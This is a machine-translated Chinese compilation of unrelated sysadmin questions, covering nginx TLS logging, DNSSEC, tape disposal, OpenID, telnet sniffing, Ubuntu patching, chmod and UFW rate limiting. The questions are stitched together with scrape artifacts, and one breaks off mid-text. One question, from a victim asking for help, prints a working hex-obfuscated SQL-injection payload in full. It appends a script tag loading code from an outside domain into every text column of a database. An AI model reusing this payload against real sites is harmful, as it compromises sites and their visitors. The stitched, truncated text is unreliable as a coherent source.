我的目标是确保客户端连接到我的 nginx 的适当安全性。我正在按照Mozilla 的指南在我的 nginx 安装上正确配置 TLS,但我没有对实践中使用的实际协议/密码套件的概述。
我现在所拥有的:
server {
listen 443;
ssl on;
ssl_certificate /path/to/signed_cert_plus_intermediates;
ssl_certificate_key /path/to/private_key;
ssl_dhparam /path/to/dhparam.pem;
ssl_session_timeout 5m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'the_long_ciphersuite_listed_there';
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:50m;
}
Run Code Online (Sandbox Code Playgroud)
有了这个,我想记录用于连接的 SSL 协议以及在客户端/服务器协商后选择的密码套件。例如:
10.1.2.3 - - [13/Aug/2014:12:34:56 +0200] "GET / HTTP/1.1" 200 1234 "-" "User agent bla"
Run Code Online (Sandbox Code Playgroud)
到
10.1.2.3 - - [13/Aug/2014:12:34:56 +0200] ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 "GET / HTTP/1.1" 200 1234 "-" "User agent bla"
Run Code Online (Sandbox Code Playgroud)
通过这种方式,我可以快速识别使用不支持 PFS 或其他相关安全启用技术的过时浏览器或自动化机器的客户端。
如何配置 nginx 以记录此信息?
我打算用 DNSSEC 签署我的 DNS 区域。我的区域、注册商和我的 DNS 服务器 (BIND9) 都支持 DNSSEC。唯一不支持 DNSSEC 的是我的二级域名服务器提供商(即buddyns.com)。
在他们的网站上,他们对 DNSSEC 进行了说明:
BuddyNS 不支持 DNSSEC,因为它暴露了一些不适合大容量 DNS 服务的漏洞。
好吧,我认为 DNSSEC 的使用目前在某种程度上是有问题的,因为大多数解析器不检查记录是否正确签名。我不知道的是 - 根据他们的声明 - 似乎提供它会暴露某种安全漏洞。
这些“漏洞”是什么?
我们的旧磁带驱动器出现故障,我们不再使用磁带进行备份。我们仍然有一堆带有备份的 DLT 磁带,其中可能包含信用卡号、社会保险号等敏感信息。
我如何负责任地处理这些备份磁带?
如果我有一个可以工作的驱动器,我会很想从 /dev/urandom dd 到磁带设备,但驱动器出现故障。如果驱动器仍在工作,这会是一个好方法吗?鉴于我没有可用的驱动器,您建议我如何处理这些磁带?
我一直在想。既然任何人都可以启动 OpenID 提供者,而且由于没有批准 OpenID 提供者的中央机构,为什么伪造的 OpenID 提供者不会成为问题?
例如,垃圾邮件发送者可以启动带有后门的 OpenID 提供程序,让自己像其他任何被诱骗在其网站上注册的用户一样进行身份验证。这可能吗?提供商的声誉是唯一阻止这种情况发生的因素吗?将来我们会看到 OpenID 提供商黑名单和 OpenID 提供商审查站点吗?
可能我完全不了解 OpenID。请赐教:)
可能重复:
我的服务器被黑了 紧急情况
天哪,我绝望了!几个小时前,我们的生产数据库被 sql 注入。
我知道我们的系统有一些大漏洞……因为我们从一个用经典 ASP 做网站的人那里继承了这个网站,他的编程真的很糟糕而且不安全。所以我们花了一些时间将它迁移到 ASP.NET(首先是 1.1,然后是 2.0,现在是 3.5)。但这是一个大项目,仍然有旧的和不安全的代码。我不会撒谎,项目一团糟,我讨厌它,但它是我们最重要的客户(我们只是两个年轻人,不是大公司)。
所以我知道他们以某种方式向我的整个数据库注入了一些 js 脚本引用......这可能是通过一个旧页面使用连接字符串 sql 查询并直接扔到数据库中(因为启动项目的那个人说“存储过程没有't work"..... 所以他使用字符串连接完成了整个站点,并将它们直接扔给 sql 而不做任何安全验证或任何事情。
当我们拿到项目时,客户不想花时间重做老家伙所做的废话。所以我们不得不导致糟糕和不安全的代码并在开发新功能时修复它,因为这是客户想要的......现在我们已经被注入了 sql 他们当然会发疯。
所以....
**有没有办法检查过去 X 小时内执行过的旧 sql 查询?类似于 SQL Profiler 的工作方式(当然,当攻击发生时,我们没有打开 Profiler)?有没有办法找出哪个页面是易受攻击的页面?请帮助,有很多页面。我无法在不知道哪一页是页面的情况下手动搜索这些内容。
另外......他们是否可以通过另一种方式注入数据库?喜欢使用 IIS 请求或 js 之类的吗?**
我拥有对服务器计算机的完全远程桌面访问权限(它不在托管环境中),因此我可以访问服务器上的每个文件、日志和任何内容...
请帮忙!
PS:对不起,我的英语不是很好,现在更紧张了!
编辑
他们抛出的脚本如下
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
Run Code Online (Sandbox Code Playgroud)
翻译成文字是:
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' …Run Code Online (Sandbox Code Playgroud) 我管理着许多需要用户 telnet 访问的 linux 服务器。目前,用户的凭据本地存储在每台服务器上,密码往往很弱,不需要更改密码。登录很快将与 Active Directory 集成,这是一个受到更严密保护的身份。
考虑到我们有一个完全交换的网络,因此任何黑客都需要将自己插入用户的计算机和服务器之间,是否真的担心从 LAN 嗅探用户的密码?
我经常登录生产 web/db/tools 框并看到典型消息:
可以更新30个包。16 个更新是安全更新。
我的问题是,你们所有人如何处理生产 Ubuntu 机器的更新?您是否自动执行这些更新?您是否为他们设置了停机时间?问题是,您永远不知道更新何时会破坏某些内容,例如现有的配置文件等。
这个问题的另一部分是,跟上补丁是“一件好事”,但补丁几乎每天都会发布。如果每天都有一个新的安全补丁可用,那么必须进行多少次计划中断?
我认为有关如何管理更新的答案的线程将非常有用。
所以我做了一个chmod -x chmod. 我该如何解决这个问题?如何将执行权限返回给 chmod?
UFW 的手册页提到它可以为我设置 iptables 速率限制:
ufw 支持连接速率限制,这对于防止暴力登录攻击很有用。如果 IP 地址在过去 30 秒内尝试启动 6 个或更多连接,则 ufw 将拒绝连接。有关 详细信息,请参阅 http://www.debian-administration.org/articles/187。典型用法是:
Run Code Online (Sandbox Code Playgroud)ufw limit ssh/tcp
不幸的是,这是我能找到的所有文档。我想坚持使用 UFW,而不是使用更复杂的 iptables 命令(以保持“简单”)。
我将如何使用 ufw 将端口 80 上的所有传入(因此不是传出)流量限制为每 30 秒 20 个连接?如何禁用端口 30000 到 30005 的速率限制?是否默认为所有端口启用速率限制?
我进行了搜索,但没有找到任何解决有关修补和系统更新问题的方法。我有指导方针说服务器需要有必要的补丁。如果我有一个 VM 主机,那么它是否是一个额外的层来修补和更新 - 即使使用裸机管理程序?与拥有金属服务器相反?(即根据我的指导方针进行更多的工作、测试和文档)。
类型 1/裸机管理程序多久更新一次?那有关系吗?它是一个额外的软件层这一事实是否会引入更多的复杂性和风险(安全性和可靠性)?(例如,99% 无错误软件 x 99% 无错误软件 = 98% 无错误系统)?
(我的实践经验是使用 VMWare 工作站和服务器,以及 VirtualBox。)